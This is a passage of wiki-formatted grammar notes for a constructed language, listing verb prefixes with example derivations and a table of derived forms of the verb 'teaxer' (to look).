::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
